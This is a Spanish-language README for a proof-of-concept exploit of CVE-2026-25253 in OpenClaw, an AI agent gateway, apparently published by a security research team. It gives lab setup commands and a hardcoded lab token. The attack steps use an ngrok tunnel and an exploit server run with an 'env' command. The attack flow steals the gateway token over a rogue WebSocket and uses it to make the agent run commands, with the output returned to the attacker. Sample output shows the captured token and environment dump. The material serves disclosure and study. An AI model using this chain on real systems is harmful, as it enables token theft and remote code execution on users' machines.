CVE-2026-25253 OpenClaw RCE en 1 clic

★ CVE-2026-25253 PoC de OpenClaw RCE en 1 clic ★

https://github.com/user-attachments/assets/e6957c61-7549-4e68-831e-a05436504a3e

Descripción

CVE-2026-25253 : Vulnerabilidad de Exfiltración del Token de Autenticación de OpenClaw

descripción: OpenClaw (también conocido como clawdbot o Moltbot) anterior a v2026.1.29 permite a los atacantes exfiltrar un token de autenticación de gateway almacenado proporcionando un valor query-string gatewayUrl manipulado a la interfaz de Control, que establece automáticamente una conexión WebSocket sin validación ni confirmación del usuario. Esto puede llevar a acceso no autorizado al gateway y ejecución remota de código en 1 clic.

Requisitos

• Docker (Docker Desktop en Windows)
• Python 3.x (lado atacante)

Archivos

• Dockerfile — construir el entorno vulnerable de OpenClaw
• templates/ — páginas web maliciosas utilizadas por el exploit
• config.txt — configuración de OpenClaw utilizada en el entorno víctima
• exploit.py — servidor del exploit
• requirements.txt — dependencias del PoC

Configuración del Entorno

1. Construir la imagen Docker

docker build -t openclaw-vuln .

2. Ejecutar entorno (Windows)

docker run -d --name openclaw-vuln -p 127.0.0.1:2222:22 openclaw-vuln

3. Crear túnel SSH

ssh-keygen -R [127.0.0.1]:2222
ssh -N -L 18789:127.0.0.1:18789 -p 2222 [email protected]

• Password: openclawlab

4. Acceder a la interfaz de Control de OpenClaw Abrir la siguiente URL en el navegador

http://127.0.0.1:18789/

1. Ingresar el token de gateway d4b7c7689b82981ff86c735a9f8f616b310491b0d334659a1491c55a13353e66
2. Hacer clic en Conectar
3. Abrir la pestaña Config
4. pegar el contenido de config.txt
5. Reemplazar el campo de clave API con tu clave API de OpenAI
6. Guardar la configuración
7. Confirmar que el agente responde normalmente

Prueba de Concepto (PoC)

1. Instalar dependencias (lado atacante)

pip3 install -r requirements.txt

2. Exponer el servidor del exploit sobre HTTPS

wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
tar xzf ngrok-v3-stable-linux-amd64.tgz
./ngrok authtoken YOUR_TOKEN
./ngrok http 13337

• Copiar el nombre de host de reenvío generado

3. Ejecutar servidor del exploit

python3 exploit.py --host YOUR_NGROK_HOSTNAME --command "env"

Ejemplo:

python3 exploit.py --host abcd-1234.ngrok-free.app --command "env"

4. Desencadenar el ataque

1. Abrir la página maliciosa expuesta por el servidor del exploit
2. Simular la interacción de la víctima con la página
3. Desencadenar el flujo del exploit desde el navegador

Flujo del Ataque

1. Una URL maliciosa cambia el gatewayUrl de la interfaz de Control de la víctima
2. El navegador se conecta automáticamente al punto final WebSocket controlado por el atacante
3. El token de autenticación del gateway se filtra al atacante
4. La página maliciosa utiliza el token robado para abrir una nueva conexión WebSocket al gateway local de OpenClaw de la víctima
5. Se envía una solicitud de ejecución de comandos a través del agente
6. El resultado de la ejecución se devuelve al servidor del atacante

Resultado Esperado

• El navegador de la víctima es redirigido al flujo WebSocket malicioso
• El token de autenticación del gateway es capturado por el atacante
• El atacante puede enviar una solicitud de ejecución de comandos a través de OpenClaw
• La salida del comando se devuelve al servidor del atacante

Ejemplo de Salida

[*] Exploit Server running on: abcd-1234.ngrok-free.app:13337
[*] Gateway token captured: d4b7c7689b82981ff86c735a9f8f616b310491b0d334659a1491c55a13353e66

==================================================
      [!] EXPLOIT RESULT CAPTURED [!]
==================================================
HOSTNAME=openclaw-vuln
PWD=/root
HOME=/root
...
==================================================

Notas

• Este PoC está dirigido a OpenClaw 2026.1.24-1
• La cadena del exploit depende del manejo vulnerable de gatewayUrl en la interfaz de Control
• Para el acceso remoto de la víctima, la página maliciosa debe servirse sobre HTTPS
• El gateway local de OpenClaw se alcanza a través del navegador de la víctima como puente

EQST Insight

Publicamos análisis de CVE y malware una vez al mes. Si estás interesado, sigue los enlaces a continuación para revisar nuestras publicaciones.

• KR : https://www.skshieldus.com/security-insights/reports/eqst_openclaw_rce_vulnerability
• EN : https://www.skshieldus.com/en/report?tab=eqst